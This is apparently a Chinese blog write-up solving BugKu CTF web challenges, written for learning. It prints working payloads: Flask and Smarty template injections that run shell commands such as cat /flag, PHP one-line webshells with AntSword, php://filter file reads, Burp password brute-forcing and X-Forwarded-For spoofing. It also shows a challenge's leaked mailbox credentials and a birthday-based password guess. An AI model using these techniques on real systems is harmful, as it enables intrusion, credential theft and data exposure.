BugKu CTF Web
BugKu CTF Web
- 滑稽
- 计算器
- GET
- POST
- Simple_SSTI_1
- 矛盾
- eval
- 变量1
- Simple_SSTI_2
- alert
- 你必须让他停下
- 方法一
- 方法二
- 方法三
- 网站被黑
- 头等舱
- 方法一
- 方法二
- Flask_FileUpload
- 管理员系统
- game1
- bp
- 源代码
- source
- 社工-伪造
- 社工-初步收集
- 备份是个好习惯
- MD5
- 前女友
- 字符?正则?
- No one knows regex better than me
- 文件包含
- 文件包含2
- 方法一
- 方法二
- Cookies
- 速度要快
- 聪明的php
滑稽
启动场景,打开链接,页面是一堆滑稽图片,查看网页源代码,flag在注释里面,去掉注释,提交即可。
计算器
打开链接,发现左边是一个加法运算,得到结果是119,但是输入框内只能输入1位数字,fn+f12(win10)打开审查代码,将输入框的maxlength改为3,输入结果,弹出flag。
GET
打开链接,访问页面,发现是一个简单赋值判断,意思是提交get类型 what=flag 会输出flag,尝试使用url/?what=flag,得到flag,其中第一个flag是前面php代码echo出来的。
POST
与前一题类似,不过采用POST方式提交
1.利用火狐的HackBar,使用的V2,另一个似乎收费,勾选Post data,上面输入网站,下面输入what=flag即可。
2.命令行解决,开始没发现这个方法,后面又开了一次场景
curl命令使用:
>curl --help
Usage: curl [options...] <url>-d, --data <data> HTTP POST data-f, --fail Fail silently (no output at all) on HTTP errors-h, --help <category> Get help for commands-i, --include Include protocol response headers in the output-o, --output <file> Write to file instead of stdout-O, --remote-name Write output to a file named as the remote file-s, --silent Silent mode-T, --upload-file <file> Transfer local FILE to destination-u, --user <user:password> Server user and password-A, --user-agent <name> Send User-Agent <name> to server-v, --verbose Make the operation more talkative-V, --version Show version number and quitThis is not the full help, this menu is stripped into categories.
Use "--help category" to get an overview of all categories.
For all options use the manual or "--help all".
cmd命令:curl -d what=flag url
Simple_SSTI_1
打开题目,网页源代码如下:
提示我们在flask里,经常设置一个secret_key变量,查阅config的用法,得知config也是Flask模版中的一个全局对象,它包含了所有应用程序的配置值,所以可以使用 config.xxx 来查看该对象的属性值。
所以,这道题最后的payload就是
/?flag={{config.SECRET_KEY}}
矛盾
查看网页源代码,发现是两层判断,首先判断flag是否为数字,不为数字可以进入循环,内层循环则是num=1,输出flag,涉及到php弱类型。
php转换规则是:若字符串以数字开头,则以开头字母为转换结果,若无则输出0。因此,此题选择num=1xxxx,x为任意字符,1a,1%,1aaa等等都可以。
参考文章:php弱类型详细介绍
eval
打开网址,是php代码
尝试构造/?hello=file('flag.php')
,拿到flag,运气比较好,一猜就对了,详细点的分析参考eval详细分析。
变量1
打开网站,提示说flag在变量里面,下面接着是php代码
构造url/?args=GLOBALS
,可以看到夹杂在变量中的flag
得到了flag,我们可以通过显示的输出,验证一下,构造/?args=ZFkwe3
,也可以得到flag
Simple_SSTI_2
参考文章
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取系统文件,这里读取网站系统目录:
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
读取app目录下的文件,发现第一个文件夹就有flag:
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
读取flag内容:
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
alert
打开网页,发现网页在循环弹出以下文字
采用ctrl+u或者fn+f12查看网页源码,发现一行注释,为unicode编码
随便找个网站进行转码,得到flag
很多人说是转ASCII,但是我是转中文出来的,不懂
你必须让他停下
打开网页,页面一直刷新,打开源代码,发现有加载图片的代码,联系页面显示,有几种方法
方法一
可以在页面显示图片的时候,立刻ctrl+u查看源代码,可看到flag;
方法二
直接查看源代码,在源代码页面按f5,多试几次,在图片为10.jpg的时候出现flag;
方法三
bp抓包;
网站被黑
打开网页,挺好看的页面,看网页源代码也看不出来啥
但是通过题目tips我们可以得知网站被黑之后,黑客留下了后门
参考资料:webshell(网站后门)、Web后门知识详解
我们在网站的url地址栏中添加/index.php发现也可以成功访问主页面,因此我们可以推断出档当前使用的后端语言为PHP,所以可以使用后台扫描工具对网站进行扫描
采用的是御剑后台扫描,可以看到扫描出shell.php
后面bp抓包地址和这里不一样,原因是我扫描太久了,然后场景开太久了自己关了,又重新花金币开了一次,这次就不用扫描后台了,已经知道了shell.php,就只需要用bp抓包了
参考burp简单抓包教程进行抓包
抓取到数据包之后 我们可以点击Action中的Send to Intruder(发送到暴力破解模块),再Intruder-position添加变量,先clear清空变量,再选中测试的admin添加
再在payload页面添加爆破字典破解,字典在网上下载就行
点击右上角,start attack开始破解, 通过爆破返回的长度不同,我们可以判断出密码为hack,失败的有很多次所以有很多长度为1200的数据包,而成功就那么一个,所以我们可以判断出长度为1203是我们本次爆破的密码
回到网页,提交密码,得到flag
头等舱
网页啥也没有,我也忘记了截图
后来发现头等舱=头部,这个意思
方法一
fn+f12,右侧网络,看响应头
方法二
bp抓包,Action-send to repeater
在repeater下,send,flag就出来了。
Flask_FileUpload
打开网页,是让我们上传图片的页面
先查看源代码,看到要求上传文件是.jpg或者.png,并且注释提醒我们说文件会按照py代码运行,因此,我们可以尝试在文件中写入py代码,然后转化成图片格式上传
先尝试查看目录下文件,代码如下
import os
os.system('ls /')
可以看到有一个文件叫flag,因此接下来只需要查看flag内容就可以了,得到flag
import os
os.system('ls /')
os.system('cat /flag')
管理员系统
打开网站,是让我们输入账号密码登录
查看网页源代码,没有什么特别的
最下面很长的一串n的最后,跟了一个注释,应该是有用的,这里假如没用往右边拖动,没发现这个也没关系,后面看元素的时候也会发现
查阅知道这是base64编码,解码结果是test123,猜测是密码
base64解码
随意输入账号,提示IP禁止访问,fn+f12查看,这里也可以在里面看到上述注释,应该是只有管理员才能访问
看wp才知道,这时候就得利用http协议的xxf伪造管理员的ip地址访问
相关文章:XFF漏洞攻击原理及防御方案、HTTP X-Forwarded-For 介绍
用bp抓包,输入账号密码,接着随便在某行添加头标识,进行xxf伪造ipX-Forwarded-For: 127.0.0.1
点击forward,如果账号密码正确,浏览器页面将出现flag
密码是上述的test123,账号是猜的admin,直接成功
game1
打开网站,是一个常见的游戏,网页源代码也看不出什么,试着玩一玩,后面房子掉落速度越来越快(据说这类题是和分数有关,所以就往这方面思考)
按fn+f12,点击Network,可以查看相关网络请求信息,里面有一条关于score的请求,可以看到我们刚刚玩的分数,还有一个sign:zMMzAw==
,不难看出,是base64加密
同时,查看网页源代码搜索sign,有三条记录,同时验证了我们的想法:上述sign的值是base64加密后的,sign和score是对应的
将30用base64加密,发现对应的是sign的后面几位,多玩几次发现sign的组成是zM + score + ==
用bp抓包,抓取含有score分数的,就是最后游戏要死的那一次再抓包,然后就可以抓到了,还可以进行改包
想设置大一点的score,于是我选择了999999
改包后,Action-send to repeater,然后send,就在Response那里得到了flag
bp
题目提示那里是弱密码top1000,z???,打开网站,是账号密码登录,所以提示指向的就是密码
bp抓包,输入密码123456
点击Action中的Send to Intruder(发送到暴力破解模块),再Intruder-position添加变量,先clear清空变量,再选中测试的123456添加
根据提示,去网上下载弱密码top1000,然后筛选出z开头的
(说实话,含z的就几十个,z开头的就几个,一个个试都可以试出来,但是还是按照步骤做了,万一没看到提示呢hhh)
添加字典,破解,返回结果长度都一致,怀疑过字典有问题,但是试过了,知道密码在里面,所以继续分析
查看响应包,观察内容,发现错误包里面都会返回一个JavaScript代码告知我们的密码有错误
所以我们通过Burpsuite的 Grep – Match (在响应中找出存在指定的内容的一项)过滤掉存在JavaScript代码中的{code: 'bugku10000'}
的数据包
发现有一个密码对应的不含有上述代码,查看内容,发现果然与其他不一样,因此,他就是我们的密码
用密码zxc123登录,得到flag
源代码
打开网页,有一个提交框
查看网页源代码,可以看到一些有用信息
参考文章:URL编码中的escape、encodeURI和encodeURIComponent
对p1,p2进行解码
unescape() 函数可对通过 escape() 编码的字符串进行解码
根据eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
将代码拼接,可看出我们应该在浏览器输入框输入67d709b2b54aa2aa648cf6e87a7114f1
得到flag
source
打开网站,显示如下
查看网页源代码,有一个flag,试着输入,是错的,果然,不可能这么简单
提示是: 我哥说渗透我只用linux环境,所以转战kali了,用kali自带的gobuster扫描目录(御剑我试过了,没扫出来,不知道为什么)
kali-gobuster安装使用、gobuster
使用如下命令
gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt
扫描出很多文件,把他们下载下来
wget -r http://114.67.246.176:14508/.git
查看目录,只有两个?
因为下的是.git,所以隐藏了,用ls -a
查看,发现文件是存在的
然后查看日志,日志记录了文件的更新和提交,日志的位置在.git/logs这里,然后查看文件的更新日志
cd .git/logs
git reflog
接下来就一个个文件去查看
#git show +文件代号(也就是开头的字符串)
git show d256328
git show 13ce8d0
git show fdce35e
git show e0b8e8e
git show 40c6d51
git show fdce35e
git show d256328
git show e0b8e8e
然后在git show 40c6d51
找到flag,开始看到一串英文,以为不是的,最后所有文件查看完了后发现这个最正常,提交上去也对了
参考文章:git信息泄露漏洞
社工-伪造
很简单,而且很有趣
登录一个qq,和第一个人聊天,我是直接问flag,然后回答说只告诉男朋友
点开小美qq空间,一些动态,然后看到那个表白的名叫小bug,猜测这个就是他男朋友
把登录qq改个名字,注意不是在网页改,是在自己qq改,或者不改,你去搜叫小bug的,用他账号登就行,反正不需要密码,改完了再登录问小美flag就行。
社工-初步收集
开始网页打不开,过一会刷新就好了,是一个刷钻网页?
图片不传了,显示违规,反正打开什么样做题都能看到,往下滑,有个下载辅助的,然后下下来
下载网页提供的一个文件,下载时电脑会提示是木马,呃,信任她就行,然后随便输账号密码,提示被骗了,果然…
尝试用wireshark抓包,然后?抓到了类似账号密码的东西
很眼熟,是base64加密了的,解密出来
猜测是账号密码,账号是邮箱账号
用户名:bugkuku@163.com
密码:XSLROCPMNWWZQDZL
然后试着登录,我用pc端网页版的qq邮箱登录,一直提示“当前网络环境存在风险,推荐使用手机QQ扫码登录。你也可以更换网络环境后重试”,不知道为啥,最后用手机登了
登是登上去了,就是有用的邮件被删了…很无语
前面邮件是刚刚我们输的账号密码,比如我刚刚输的账号1,密码1,这样,应该是搜集我们的信息
后面去搜这一题,然后搜到了相关图片,这里借用一下
分析一下:
mara两天前刚过生日,并且现在20岁,发件日期是2021年2月8日,所以可以得出,mara是2001年2月6日出生的,所以最可能的密码就是20010206
扫描后台看看
顺着这个登录网页登录
登录成功,网页中找到了flag
参考文章:
常见社工方法以及如何防社工
社工思路
社工防御方法
备份是个好习惯
打开网站,显示如下,一堆数字,查询得知是md5加密,解密结果是[空密码]
,似乎没啥用
换个思路,用御剑扫描后台,得到以下结果
题目名是“备份是个好习惯”,因此发现.bak文件
tips:备份文件一般都是.bak或者.swp
输入网页,下载备份文件,用记事本或者notepad这样的软件打开,可以看到解题的关键代码
strstr() 函数搜索字符串在另一字符串中的第一次出现
例:查找 “Shanghai” 在 “I love Shanghai!” 中的第一次出现,并返回字符串的剩余部分:<?php echo strstr("I love Shanghai!","Shanghai"); ?>
substr() 函数返回字符串的一部分
例:从字符串中返回 “world”:<?php echo substr("Hello world",6); ?>
str_replace() 函数以其他字符替换字符串中的一些字符
例:把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:<?php echo str_replace("world","Shanghai","Hello world!"); ?>
parse_str() 函数把查询字符串解析到变量中
整个函数的解释如下:
<?php
include_once "flag.php"; //包含 flag.php 文件
ini_set("display_errors", 0); //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?'); //判断URL里是否有问号,存在就返回?以及剩余部分给 $str
$str = substr($str,1); //获取?后面的值
$str = str_replace('key','',$str); //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串
echo md5($key1); //将 key1 进行 MD5 加密并输出
echo md5($key2); //将 key2 进行 MD5 加密并输出
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag"; //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>
分析这段代码,可知:
网页URL应该有两个参数key1和key2,网页显示key1、key2的md5值,如果这俩值比较相等,则显示flag;
那么,如何绕过两个不同的值有相同的 MD5?
MD5值比较相等(PHP弱类型)
在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。注意,如果比较一个数字和字符串,或者比较涉及到数字内容的字符串时,则字符串会被转换成数值并按照数值来进行比较。
所以,本题是要两MD5值的字符格式要么全部是字符,要么前面数字是0。
我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢? 它没法进行加密,返回空,结果不就相等了吗?
众所周知,科学计数法是 *e***** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了
0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
参考文章:PHP处理0e开头md5时hash字符串漏洞
前面之所以传入的是 kkeyey1 而不是 key1 ,是为了绕过 str_replace 这个函数的限制,这个函数将 key 替换为空,剩下的拼接在一起正好就成了 key1.
全是字符尝试如下
采用0e科学计数法尝试如下
MD5
打开网站,网页提示我们输入a?
网页源代码什么也没
构造网址/?a
也无事发生,去搜题解,发现bugku平台忘记给源代码了?有点离谱,搜到的源代码如下
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}";
} else {echo "false!!!";
}}
else{echo "please input a";}
?>
md5(‘QNKCDZO’)的hash值为 0e830400451993494058024219903391,和上一题类似,刚好是用一个加密之后是 0e 开头的数字,就可以绕过限制了
前女友
打开网页,php是世界上最好的语言,属于是整活了
查看网页源代码,发现女友发来的链接,在源代码里面是可以点击的
打开code.txt,是一段代码
代码分析很简单
v1不能等于v2,但是md5要相等,并且v3要等于flag,满足这几个条件就可以获取flag
其中,满足第一个条件可以和前几题类似,利用md5的0e绕过解题,同时也可以利用数组绕过
如果传入md5函数的参数为数组类型,则返回null,null==null,因此可以通过数组可以绕过md5判断
第二个条件满足需要v3=flag,但是flag我们肯定不知道,所以也要绕过,又因为strcmp()无法解析数组,所以可以使用数组绕过
http://114.67.175.224:13247/?v1[]=1&v2[]=2&v3[]=1
http://114.67.175.224:13247/?v1=QNKCDZO&v2=240610708&v3[]=1
字符?正则?
打开网页,有如下源代码
通过分析代码可知,只要输入的id符合正则匹配,就可以得到flag
/ key . * key . {4,7} key:\/ . \/ (.*key) [a-z] [[:punct:]] /ikey+任意单个字符+前面的字符出现零次或多次+key+任意单个字符(出现4~7次)+key:/+任意单个字符+/+(任意单个字符+前面的字符出现零次或多次+key)+a~z中任意一个+!"//$%&'()*+,-./:;<=>?@[\]^_`{|}~.中任意一个符号
构造payload/?id=keykeyaaaaakey:/a/keya!
参考文章:php preg match i,PHP中preg_match正则表达式 /i, /is, /s, /isU等含义
No one knows regex better than me
打开网页,是一堆源代码
分析如下
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];//$zero通过request传入一个参数
$first=$_REQUEST['first'];//$first通过request传入一个参数
$second=$zero.$first;//$second=zero.first//在$second里必须匹配到Yeedo|wants|a|girl|friend|or|a|flag这里面的字符
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){$key=$second;//在$key里不能匹配到\.\.|flagif(preg_match("/\.\.|flag/",$key)){die("Noooood hacker!");}else{$third=$first;//$third里要匹配有\|\056\160\150\x70if(preg_match("/\\|\056\160\150\x70/i",$third)){$end=substr($third,5);//$end从third里第五位字符开始截取highlight_file(base64_decode($zero).$end);//maybe flag in flag.php}}
}
else{highlight_file(__FILE__);
}
second里要存在Yeedo|wants|a|girl|friend|or|a|flag
,而second=zero.first,所以zero=flag
key=second=zero.first,并且不能存在\.\.|flag
,也就是说zero不能=flag,但下面代码highlight_file(base64_decode($zero).$end)
,会进行base64_decode,所以直接将flag进行base64加密得到ZmxhZw==
那么zero=ZmxhZw==
之后third=first,并且要匹配\\|\056\160\150\x70
,\056\160\150\x70
是三个八进制和一个16进制
056 - 46 - .
160 - 112 - p
150 - 104 - h
70 - 112 - p
\|转义成|后,又转义了一次,最后变成|。转换成10进制,再转成ascii码后即为|.php
则first的值为|.php
但$end=substr($third,5);
,故需要在|.php前面加上4个字符,来绕过substr,不过这4个字符要符合Yeedo|wants|a|girl|friend|or|a|flag
,这里面的(可以采取aaaa或者oror或者Flag或者girl ),这里用Flag的原因是不能匹配\.\.|flag
,所以完整的payload为
根据上述分析构造payloadurl/?zero=ZmxhZw==&first=aaaa|.php
文件包含
打开网站,出现click me?,点击试一试
新页面显示index.php,且url上出现?file=show.php
那么自然而然的想到试试?file=index.php
,不过好像不太行
之后就想到文件包含可以使用PHP伪协议,php://filter可以获取指定文件源码,当它与包含函数结合时,php://filter流会被当作php文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
获取源码代码:?file=php://filter/resource=xxx.php
通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/read=convert.base64-encode/resource=index.php
构造/?file=php://filter/read=convert.base64-encode/resource=show.php
通过Base64解码后发现内容就是index.php,说明show.php没有隐藏信息
再在url后改为/?file=php://filter/read=convert.base64-encode/resource=index.php
,获得一串编码
将其进行base64解密,得到代码,以及注释里的flag
文件包含2
打开网页,什么也没有,注意到上面网址是.../index.php?file=hello.php
查看网页源代码,最上面有个upload.php
尝试构造?file=upload.php
,可以看到如下页面
方法一
写一个图片木马
<script language=php>eval($_POST['shell']);</script>
然后转换成符合网页要求的图片,上传,然后前往网页提示的地址去,发现页面空白?
使用中国蚁剑进行连接,具体连接设置如图
连接成功后,在目录里面找flag,flag在根目录下面
方法二
利用burp suite上传一句话木马
a.不需要上传什么文件,直接upload然后抓包
b.发送到reperter里面,传入一句话木马 <?=eval($_POST['pass']);>
,格式大概如下,我没试过,应该是可以 的
c.在request修改完点go会在response返显,复制resonse返显信息修改url,再用中国蚁剑连接
还有一个方法,我试过,但是不太行
a.新建文件写入<script language=php>system("ls")</script>
后另存为jpg 格式
b.通过url访问刚刚上传的图片
按照写wp的作者来说,这里应该会显示有关flag的txt文件的,但是我这里没有,可能是隐藏了?
Cookies
打开网页,是一串英文,看起来也不像什么加密后的文字,查看网页源代码,也没有什么
发现url上面有一个filename=?,看起来是base64加密,解密后发现是keys.txt
尝试用 filename访问index.php,将index.php进行base64编码
line参数应该是行数,试一下 line=1
line=2
line=3
一个个试太麻烦,用脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):url="http://114.67.175.224:11217/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" s=requests.get(url)print (s.text)
运行python脚本需要安装requests模块,我在安装过程中出现的错误以及解决参考:python找不到requests模块
运行脚本,得到如下输出
整理成完整代码如下
<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}
?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php
执行后页面是空白的,开始还以为错了,查看网页源代码,flag就出来了
速度要快
打开网页,什么也没
查看网页源代码
让我们用post,那就用burp抓包看看
找到了base64编码的flag,解码
但是当我们再send一次发现flag变了,所以只能用脚本完成了
import requests
import base64
url="http://114.67.175.224:19791/"
r=requests.session()#这个对象能跨请求的保留某些参数,比如cookie,cookie就是保留当前会话信息的一个对象
headers=r.get(url).headers#因为抓包得知flag在消息头里mid=base64.b64decode(headers['flag'])#接受一个存放着密文的bytes,返回一个bytes存放着解密后的内容
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去
运行脚本,得到flag
聪明的php
打开网页,让我们随便传递一个参数
那就按照提示,随便传一个,然后出现了一些代码,下面显示了传入的参数a
看代码好像,没什么用,但是注意到了smarty,猜测是php模板注入的smarty注入
参考文章:模板注入漏洞汇总
按照下面的图来验证这个是不是smarty注入
验证了我们的猜测是smarty注入
常用payload:smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
测试使用上述payload,过滤了很多函数,使用system()函数就没什么输出
发现passthru()函数没有被过滤,使用?a={if passthru("ls /")}{/if}
没有发现flag,但是发现_5502文件,读取这个文件,cat被过滤了,用的是more?a={if passthru("more /_12016 ")}{/if}
,得到flag
BugKu CTF Web相关推荐
- Bugku / CTF / WEB 输入密码查看flag
根据URL提示可知本题用爆破 本题要求的密码是5位数 修改google的代理服务器,再用burpsuite抓包,步骤如下: 1.将burpsuite打开后 点proxy >> interc ...
- Bugku CTF web 你必须让他停下来 解题思路
启动场景发现网页一直在刷新,按F12查看源代码可以在某一次网页刷新时看到flag但是复制不了 这时你可以禁用浏览器JavaScript页面特效,再次启动场景并进行手动刷新,按F12,在某一次刷新时就可 ...
- Bugku CTF web source
打开题目 打开链接,查看源码其中的flag是错误的但是看到了tig,于是联想到git泄露 Tig 是一个 git 资源库浏览器 也可以进行目录扫描,我使用的是dirsearch可以扫描成功 dirse ...
- BUGKU CTF——WEB基础 {GET,POST}
GET POST 1.首先我们先按跟get一样的做法,直接输入?what=flag,发现没用 可见post和get提交不一样 2.我们用提前下载好的hackbar工具(也可以直接在火狐扩展中下载max ...
- Bugku CTF Web 网站被黑
网站被黑 启动靶机 f12查源码,没什么发现,上我的御剑大宝贝扫一下目录 发现就扫出来几个目录,就是个目录遍历,看了一下也没什么新发现 思考了一下,网站被黑的话,黑客一般会留后门,此网站是php站,所 ...
- CTF Web学习(三)----python脚本的编写及应用
CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...
- [Bugku CTF——Pwn] pwn2
[Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...
- [Bugku CTF——Pwn] pwn4
[Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...
- [Bugku CTF——Pwn] pwn1
[Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...
最新文章
- QT:(2)Window10、VS15下安装qt5.12.8
- ElasticSearch实战:Linux日志对接Kibana
- 谁是第三者之- Activity、Window、View
- 【Kotlin】函数类型 ( 函数类型 | 带参数名称的参数列表 | 可空函数类型 | 复杂函数类型 | 带接收者函数类型 | 函数类型别名 | 函数类型实例化 | 函数调用 )
- CRM数据库表COM_TA_R3_ID的数据来源
- 鲲鹏性能优化十板斧——鲲鹏处理器NUMA简介与性能调优五步法
- 学python能做什么-学习python后能做哪方面的工作
- iOS开发系列-ARC浅解
- html flv swf,支持SWF和FLV视频格式的焦点图代码
- java欢迎来到宠物店,用JAVA语言实现简易的宠物店程序暨寒假集训心得
- 应届生面试的5大技巧,附600字自我介绍范文
- LivePlayer H5播放器、在react中使用
- 2019阿里秋招一道笔试题(关于火柴拼出最大数字) - Android开发岗
- 解决百度ueditor富文本编辑器不能插入视频的问题/src掉链/src清空,不能显示视频
- java五大浏览器,[Java教程]各主流浏览器(PC、移动端)userAgent属性信息
- NBMA 和 BMA 区别
- 2022年系统集成项目管理工程师考试,需要知道这些
- 【Git】Git 的基本使用
- 如何扩大计算机运行内存,运行内存,小编教你如何扩大电脑的运行内存
- java 支付宝回调返回值,支付宝APP支付Java回调具体步骤
热门文章
- 利用GpuImage打造自己的修图软件
- JavaEE-HTML常用标签了解(二)
- 什么是PV,UV,PR值
- 【苹果家庭推】软件安装设置Save for iOS App Store Deployment
- GameFramework篇:StarForce全解读(总目录)
- ARTS挑战打卡第十五周
- 计算机辅助外科技术包括哪些,计算机辅助外科手术逐步拓展
- 【巧关无用系统启动项 加快开机速度】
- java程序设计基础_陈国君版第五版_第十章例题
- python decimal函数_(转)python学习笔记5--decimal